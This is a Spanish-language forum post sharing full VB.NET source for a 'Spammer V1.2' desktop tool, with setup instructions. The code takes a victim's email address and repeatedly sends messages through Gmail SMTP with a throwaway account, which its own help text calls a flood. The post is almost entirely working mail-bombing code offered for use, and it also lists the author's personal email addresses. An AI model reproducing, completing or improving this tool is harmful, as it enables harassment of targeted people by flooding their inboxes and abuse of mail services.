Spammer V1.2 página 2

Ya pues no mas no se molesten eh Soy nuevo aqui y la verdad es que no lo sabia, Entonces si quieren me pueden pedir el "Proyecto" Por Mp...

Bueno tienen que modificar esta linea para que cuando un user mande algo le llege la info a su E-Mail, el que esta Hay es el mio pero no tiene password, Para que Te pueda funcionar el codigo pon una cuenta que ya no uses en donde dice ("correo.spammer@gmail.com", "your password") Pones un Correo viejo donde quieres que te llegen los datos de la gente que spamees por ejemplo que escribieron y eso, y la clave, para que se comunique con tu correo ps.

Tienes que hacer eso mismo en el Form1 y el Form3

Aca les va el Codigo

FORM1

Código

Imports System.Net.Mail
Public Class Form1
 
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        'Codigo Para llamar al Formulario2'
        Form2.Show()
    End Sub
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click, Button4.Click
        'Codigo para Detener Ejecucion si el Usuario no Introduce Datos en El TextBox1'
        If TextBox1.Text = "" Then
            MsgBox("Escribe tu Correo electronico en este formato Para continuar: tunombre@ejemplo.com", MsgBoxStyle.Question)
            Return
        End If
        'Finaliza el Codigo de Detencion de Ejecucion'
        'Estos son Los Distintos OBJETOS que Activa y Desactiva este Boton'
        Label14.Show()
        Label15.Show()
        Label16.Show()
        AyudaToolStripMenuItem.Enabled = False
        Button2.Enabled = False
        Button6.Enabled = False
        Label8.Enabled = False
        Label9.Enabled = False
        Label10.Enabled = False
        Label11.Enabled = False
        Label12.Enabled = False
        Button5.Enabled = False
 
 
 
        TextBox1.Enabled = False
        TextBox2.Enabled = False
        TextBox3.Enabled = False
        Button3.Enabled = True
        Label7.Hide()
        Timer1.Start()
        Timer2.Start()
        Timer3.Start()
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        'Codigo de la "ProgressBar1" incluyendo el codigo SMTP para Hacer la conexión al Correo'
        ProgressBar2.Hide()
        ProgressBar1.Show()
        ProgressBar1.Increment(1)
 
        If ProgressBar1.Value = ProgressBar1.Maximum Then
 
            Dim WC As New System.Net.WebClient
 
            Dim MyMailMessage As New MailMessage
 
            MyMailMessage.From = New MailAddress("correo.spammer@gmail.com")
 
            MyMailMessage.To.Add(TextBox1.Text)
 
            MyMailMessage.Subject = (TextBox2.Text)
 
            WC.Dispose()
 
            MyMailMessage.Body = (TextBox3.Text)
 
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
 
            SMTPServer.Port = 587
 
            SMTPServer.Credentials = New System.Net.NetworkCredential("correo.spammer@gmail.com", "your password")
 
            SMTPServer.EnableSsl = True
 
            Try
 
                SMTPServer.Send(MyMailMessage)
 
            Catch ex As SmtpException
 
            End Try
 
        End If
    End Sub
 
    Private Sub TextBox3_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox3.TextChanged
 
    End Sub
 
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        'Timer para Mostrar "Labels" despues de cierto tiempo'
        Label6.Show()
        Label4.Show()
    End Sub
 
    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        'Timer para Mostrar un "Label" despues de cierto tiempo'
        Label5.Show()
    End Sub
 
    Private Sub Label5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label5.Click
 
    End Sub
 
    Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click
 
    End Sub
 
    Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
 
    End Sub
 
    Private Sub ComoUsarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComoUsarToolStripMenuItem.Click
        'Intrucciones de Uso'
        MsgBox("Los Textos con * Son requeridos para completar el Formulario,Los Textos con () a los lados significan que estan bloqueados, Introduzca la direccion de Correo electronico de la Victima, Rellene Todos los Campos y luego haga click en Flood para empezar el Proceso, Para Cerrar la ventana solo Presione el Boton Salir. Tambien puedes como opcion dar click en los textos amarillos para seleccionarlos Automaticamente.")
    End Sub
 
    Private Sub CreadorToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CreadorToolStripMenuItem.Click
        'Creador Brayhan Jose Nuñez Rojas/ En Los Foros - BlazeFire, Youtube BlazexxFire'
        MsgBox("Spammer Creado por Brayhan Jose Nuñez Rojas/En los Foros - BlazeFire, Correo electronico: blazefireadm@gmail.com o chichon926@hotmail.com ")
    End Sub
 
    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
 
    End Sub
 
    Private Sub MenuStrip1_ItemClicked(ByVal sender As System.Object, ByVal e As System.Windows.Forms.ToolStripItemClickedEventArgs) Handles MenuStrip1.ItemClicked
 
    End Sub
 
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
 
    End Sub
 
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        'Boton de "Detener Proceso" Que Activa muestra y Detiene Distintos Objetos seleccionados por el Creador osea Yo xD'
        AyudaToolStripMenuItem.Enabled = True
        Button2.Enabled = True
        Label7.Show()
        Timer1.Stop()
        Timer2.Stop()
        Timer3.Stop()
        Button4.Show()
        Return
    End Sub
 
    Private Sub Label8_Click()
 
    End Sub
 
    Private Sub Label9_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label9.Click
        'Copiar texto Clickeado a ClipBoard'
        Clipboard.SetText("@gmail.com")
        MsgBox("Texto Copiado al ClipBoard")
    End Sub
 
    Private Sub Label10_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label10.Click
        'Copiar texto Clickeado a ClipBoard'
        Clipboard.SetText("@yahoo.com")
        MsgBox("Texto Copiado al ClipBoard")
    End Sub
 
    Private Sub Label11_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label11.Click
        'Copiar texto Clickeado a ClipBoard'
        Clipboard.SetText("@msn.com")
        MsgBox("Texto Copiado al ClipBoard")
    End Sub
 
    Private Sub Label12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label12.Click
        'Copiar texto Clickeado a ClipBoard'
        Clipboard.SetText("@live.com")
        MsgBox("Texto Copiado al ClipBoard")
    End Sub
 
    Private Sub Button5_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button5.Click
        'Instruccion para Limpiar Contenido de Cajas de Texto'
        TextBox1.Clear()
    End Sub
 
    Private Sub flood_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
        'Este Button Fue Removido por Motivos que no Explicare, este Codigo ya no es valido lo pueden borrar sin problema alguno de haci quererlo'
        TextBox1.Hide()
        TextBox1.Enabled = False
        Label8.Enabled = False
        Label9.Enabled = False
        Label10.Enabled = False
        Label11.Enabled = False
        Label12.Enabled = False
        Button5.Enabled = False
 
        TextBox1.Enabled = False
        TextBox2.Enabled = False
        TextBox3.Enabled = False
        Button3.Enabled = True
        Label7.Hide()
        Timer1.Start()
        Timer2.Start()
        Timer3.Start()
    End Sub
 
    Private Sub Label8_TextChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Label8.TextChanged
 
 
    End Sub
 
    Private Sub Label8_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label8.Click
        'Copiar texto Clickeado a ClipBoard'
        Clipboard.SetText("@hotmail.com")
        MsgBox("Texto Copiado al ClipBoard")
    End Sub
 
    Private Sub Label13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label13.Click
 
    End Sub
 
    Private Sub AyudaToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles AyudaToolStripMenuItem.Click
 
    End Sub
 
    Private Sub Button6_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button6.Click
        'Comandos Para eliminar todo el Contenido de las Cajas de Texto'
        TextBox1.Clear()
        TextBox2.Clear()
        TextBox3.Clear()
    End Sub
 
    Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged
 
    End Sub
 
    Private Sub ReiniciarToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ReiniciarToolStripMenuItem.Click
        'Boton Reiniciar de el ToolStripMenuItem "Ayuda"'
        Label4.Hide()
        Label5.Hide()
        Label14.Hide()
        Label15.Hide()
        Label16.Hide()
        Timer1.Stop()
        Label7.Hide()
        Button4.Hide()
        Button1.Show()
        ProgressBar2.Show()
        ProgressBar1.Hide()
        TextBox1.Clear()
        TextBox2.Clear()
        TextBox3.Clear()
        Button2.Enabled = True
        Button6.Enabled = True
        Label8.Enabled = True
        Label9.Enabled = True
        Label10.Enabled = True
        Label11.Enabled = True
        Label12.Enabled = True
        Button5.Enabled = True
        TextBox1.Enabled = True
        TextBox2.Enabled = True
        TextBox3.Enabled = True
    End Sub
 
    Private Sub ComentariosToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ComentariosToolStripMenuItem.Click
        'Muestra el Formulario3 para Comentarios Sobre el Programa'
        Form3.Show()
    End Sub
 
    Private Sub ProgressBar2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar2.Click
 
    End Sub
End Class

FORM2

Código

Public Class Form2
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Close()
    End Sub
 
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Label2.Show()
        Timer1.Start()
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        End
    End Sub
End Class

FORM3

Código

Imports System.Net.Mail
Public Class Form3
 
    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        TextBox3.Clear()
        TextBox2.Clear()
    End Sub
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
 
        TextBox2.Enabled = False
        TextBox3.Enabled = False
        Button1.Enabled = False
        Button2.Enabled = False
        Button3.Enabled = False
        Button3.Show()
        Timer1.Start()
        Form4.Show()
    End Sub
 
    Private Sub Form3_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
 
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        'Codigo de la "ProgressBar1" incluyendo el codigo SMTP para Hacer la conexión al Correo'
        ProgressBar1.Increment(1)
 
        If ProgressBar1.Value = ProgressBar1.Maximum Then
 
            Dim WC As New System.Net.WebClient
 
            Dim MyMailMessage As New MailMessage
 
            MyMailMessage.From = New MailAddress("correo.spammer@gmail.com")
 
            MyMailMessage.To.Add(TextBox1.Text)
 
            MyMailMessage.Subject = (TextBox2.Text)
 
            WC.Dispose()
 
            MyMailMessage.Body = (TextBox3.Text)
 
            Dim SMTPServer As New SmtpClient("smtp.gmail.com")
 
            SMTPServer.Port = 587
 
            SMTPServer.Credentials = New System.Net.NetworkCredential("correo.spammer@gmail.com", "your password")
 
            SMTPServer.EnableSsl = True
 
            Timer1.Stop()
 
            Button3.Enabled = True
 
 
 
            Try
 
                SMTPServer.Send(MyMailMessage)
 
            Catch ex As SmtpException
 
            End Try
 
        End If
    End Sub
 
    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Close()
    End Sub
 
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
 
    End Sub
End Class

FORM4

Código

Public Class Form4
 
    Private Sub Form4_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub
 
    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Button1.Enabled = True
    End Sub
 
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Close()
    End Sub
End Class